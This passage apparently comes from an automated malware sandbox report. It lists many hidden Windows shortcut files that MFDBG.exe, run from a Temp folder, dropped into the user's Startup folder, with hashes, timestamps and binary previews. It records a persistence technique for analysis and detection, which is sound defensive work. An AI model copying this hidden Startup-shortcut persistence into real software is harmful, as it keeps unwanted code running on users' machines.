Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_496a11f1d1c046808ab637b1f9a61271.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:00 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933903663792499
Encrypted:	false
SSDEEP:	24:8JkhBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:84s0R6rMhpBoUBxdRd1nYyg
MD5:	CC0C9875534F1B45A55FA21822A70B8B
SHA1:	641E6DE39C45F76F12A824835DDFACF69A85ED11
SHA-256:	E0901E93521F0F8553A3C35A37557BFEA38B078992E13459C1F492290C0CED53
SHA-512:	2AD32AC4F87D8E6906B10EB2B1CC4A14F8D527C0D23A36CFD25C2131973D197F81115F7E81B7863C16640510A4B7F9A5075F761442148A1F5AAD5B3488819189
Malicious:	false
Preview:	L..................F...."...]W%.{...?.2.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_49ba90fb1762414f9457e97b21a8e404.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:15 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934274310339863
Encrypted:	false
SSDEEP:	24:8HhBfy8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8bn0R6rMhpBoUBxdRd1nYyg
MD5:	EF758530905AF4BA7BF4B476F7687C69
SHA1:	E6EBDA4333FE5493160F3C053DEF15D684858A92
SHA-256:	BBA1D283D76900EB6316276B11353A26DBCE4A73DBB0C3DCA5C99D8DE76926BC
SHA-512:	6A89A38C05AFE40F008D3A7245AE47A4F5679ECAE171FA50483862B82C7049D9E8E5A455738F9640F1F6849C175474A45FB678130A6CE60930CA8C65BA2C1FCA
Malicious:	false
Preview:	L..................F...."...]W%.{.....1.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...K...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4a4320d5a1d04f84a8fbbc96a7f99939.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938741406283628
Encrypted:	false
SSDEEP:	24:8zhBfk8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Hp0R6rMhpBoUBxdRd1nYyg
MD5:	2ACBDA93996C64F0F3F2473E86EFB662
SHA1:	3ABD63849BEEA18EEF562CD548356B7B29A3D3A6
SHA-256:	1ACDFF959B3CC996338905C8022854C032BEC3C7F7517843E6505E88B6EEB707
SHA-512:	CE0292B9F0D3E79B669AF54E59E46E67150DE5B433DB5494892CCB84D11CA027831B1DBD786ECE1DD7820D7180F76D39D704E45E91F547A7D795C3536775D983
Malicious:	false
Preview:	L..................F...."...]W%.{.....-.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4a559acfb31948e5a56cac55d6896e24.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943032829546428
Encrypted:	false
SSDEEP:	24:8whBfOW8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8i60R6rMhpBoUBxdRd1nYyg
MD5:	A6170126CA822FFC7C1E7898D40BB9F9
SHA1:	F142C8FEE306FAE58C68516081AA3F326640F932
SHA-256:	05A5200FC3B5149307777FBBD2653848CBCDB0F0E5E0A1C878C48CE206713914
SHA-512:	10B9F06F277FEC6D4535A83EA181E889CCC7B5D315A01A145A5C798DB8273BA7E432D23E26A5E6585FA8D7FBA73056F880F8052E2427E98C9B9A491EE0F226B6
Malicious:	false
Preview:	L..................F...."...]W%.{...$...\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...?c..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4aa710f786c84ca2a79aa606295cebfb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93765849873576
Encrypted:	false
SSDEEP:	24:84hBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8aR0R6rMhpBoUBxdRd1nYyg
MD5:	23E7D6B85A0C3876D0C34F8EC4130023
SHA1:	A5C10BFA2EFDEA9374D1C81DFA5034D26B53EF3E
SHA-256:	48F424BC2AFAC689C3B959F9DE0D4B9BCC35A0AF55ED2410FF7A5225DA05B720
SHA-512:	F74A9899D1EBB722BBF1694E6BB8EF0F5A6B38DB630F78D673D967D8B715B5F61FA807C9ACF4BEB0B6BFFA5D213540D4CFCE694677F30B76F2AFB58AD3E07F60
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4ad32de01a184698a05c6420fe200272.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940318895219153
Encrypted:	false
SSDEEP:	24:8sq2hBft8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8sfC0R6rMhpBoUBxdRd1nYyg
MD5:	DB8ECF215357AF7012CA95308729AA1E
SHA1:	2AAC74D5089865788AC92DFE116D5CCC7BC3D956
SHA-256:	7D1370F6F0DAF679D2F5DB4D52D9121D6EAA43E4DDEDE2E91C26B205FB6416D6
SHA-512:	D1B9B38C6063C78843C13607D36815E452C2378B778348B2FF2A378735884AF3707AA90C1E20E3AA308C6BF447E9D5138A4536E2C0101C0AAD90EA9971B3B56F
Malicious:	false
Preview:	L..................F...."...]W%.{....8(.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....s#.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4b3027ba17f846679ff9bc13106d808a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:56 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.944363027788126
Encrypted:	false
SSDEEP:	24:8p8hBf08iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8pOZ0R6rMhpBoUBxdRd1nYyg
MD5:	DD6F03E57F3EE30CC97D10A8848CF5C4
SHA1:	805F86AD46CE8D1AC95E0BC1EC2451931E9BB80C
SHA-256:	1AC7C890FDB215212F33D5B67F38BDF6DE2CF7AD76F942F86123F822080BD509
SHA-512:	F82C5657C82A1C9A424D7F51D402F0A5CC75B741185D41FBE70AE216DC75EEB4CF5B60E604AEF63FCF6A030D89689169E4979005A39C0715CF806B78ADB06633
Malicious:	false
Preview:	L..................F...."...]W%.{....I..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....#..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4b7d19c1bedf4007b50279fad719027e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:40 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9379651306921755
Encrypted:	false
SSDEEP:	24:8P2hBfR8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Pc+0R6rMhpBoUBxdRd1nYyg
MD5:	68A5D3FB0ECCEF01D2957D791E4C6A70
SHA1:	4BC913E7776FF93DF5A38BECBBF8DD3118190CEC
SHA-256:	0A159190DA7E20C1F31C449322D89532C20DB1C9C968A9EBCCAA5471880F3380
SHA-512:	94772FDD722B73D5319909C6E98E539B5306E031CB5B9A31752BC0318A408833BD1B285CCBE9B4960ADB76CE90553F49487A8C235638F8A8A65A0B1180B99280
Malicious:	false
Preview:	L..................F...."...]W%.{....Z..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....]\.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4b7fbd48ba0340c78527cd8c47b688c6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:26 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937979668759194
Encrypted:	false
SSDEEP:	24:8OhBfW8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ED0R6rMhpBoUBxdRd1nYyg
MD5:	5D7970B900A062B29F04D39DEBD67D1E
SHA1:	A9E126654532A1653CA145EB7C8E06E8D1F30A04
SHA-256:	54BA978E257E5278CE29FBB25F3616BB6A8831C189B1F954BD0575E34E684324
SHA-512:	FAADF4BFD145D0881DC819F0856B96D389DC6FA41002FBF82D569A36A36E9868C05586F9E9D158DAA8026C50236B6707F0A0600EC2AFC4B7AB86CCBD2E51B847
Malicious:	false
Preview:	L..................F...."...]W%.{...gt..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4b82d8a99156452eb53694d969e61ff8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:54 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932610638340505
Encrypted:	false
SSDEEP:	24:8JPhBfSr8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8xKI0R6rMhpBoUBxdRd1nYyg
MD5:	2FE8DEC05FE144D44F0484A5717B1444
SHA1:	D007F17A2A134BC223DBC648788301DD41628067
SHA-256:	6C720E07CCAA86ECA542BE0043F4520D3FBFDA3112E3B474C1788ECBF9675651
SHA-512:	85B84D263222D6EC8E39E34B2B4861850BBB3F613FA6885CE03BF222FF5C64A38A23268DCBE348A0F148A4EC51C5DA0C9DDF96509EDFB0FAD4719FD214B711D2
Malicious:	false
Preview:	L..................F...."...]W%.{...5ln.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G).{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4c4d3331613c415e85bca83358ae4f3a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:09 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942819988207057
Encrypted:	false
SSDEEP:	24:8ar8hBfg8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8iOd0R6rMhpBoUBxdRd1nYyg
MD5:	BC091230B8EE64E918754BC51BA5F089
SHA1:	434EF1D00018E27FF0553FC32A8C21F9E0DEF38C
SHA-256:	869B50014C8A001DAE64687DCE7C82A98398947E5BABC1BDD5D134DB7AEC7138
SHA-512:	E45AB00DA7C0D3E6D5FFF81DA88DC66B6E92B2F6BD80A9DB33F26394E889CAD52918976766A4299BD95BEB90FA88DBDBFFF1AE3DE0FEA9339C62CA569F21A790
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4cb8c1a36a6841c085793f59c8d932fb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931657283520046
Encrypted:	false
SSDEEP:	24:8GhBfKP8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8MC00R6rMhpBoUBxdRd1nYyg
MD5:	621F6C0F951ABE49813AB051A68D9ED1
SHA1:	3E5A11456986B21631AFA79B8456A07F1195B300
SHA-256:	7768C493A831E68FD14B9CCEF6E7D9767D073A8F6CBBEA83451EB63FA4760B62
SHA-512:	6886FB391315B78A7481DC244FC5F6BE136A9942A2DC26C9DEE0C5B74AE92D7F3F51E30ADDD3E715AD2679486AD81E1F74A995912203C875AA8B379B1B0474CA
Malicious:	false
Preview:	L..................F...."...]W%.{...23..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...23..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4cc307867aeb4819bf7f31ef416446f1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:16 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939793836777299
Encrypted:	false
SSDEEP:	24:8nGhBfNbD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Mlc0R6rMhpBoUBxdRd1nYyg
MD5:	AA377511FF92483621D02DA0EF52EA69
SHA1:	44EA33F5CEE7FBE38016CCAB7E3A28FB9B8F8B7A
SHA-256:	B0C71B95925B519FE1B9DAE5B6E10F2CD2F9597BD83E2252DE16DA5436E1699E
SHA-512:	C411D98BB715F91DDCD924861499E9FDBEC9D751A001C6A3A959936EE0E79D9252CBE5E0F92660AE37D6E438BF0F347DEA0739AF675EE8F154FE9C2F87C00ADC
Malicious:	false
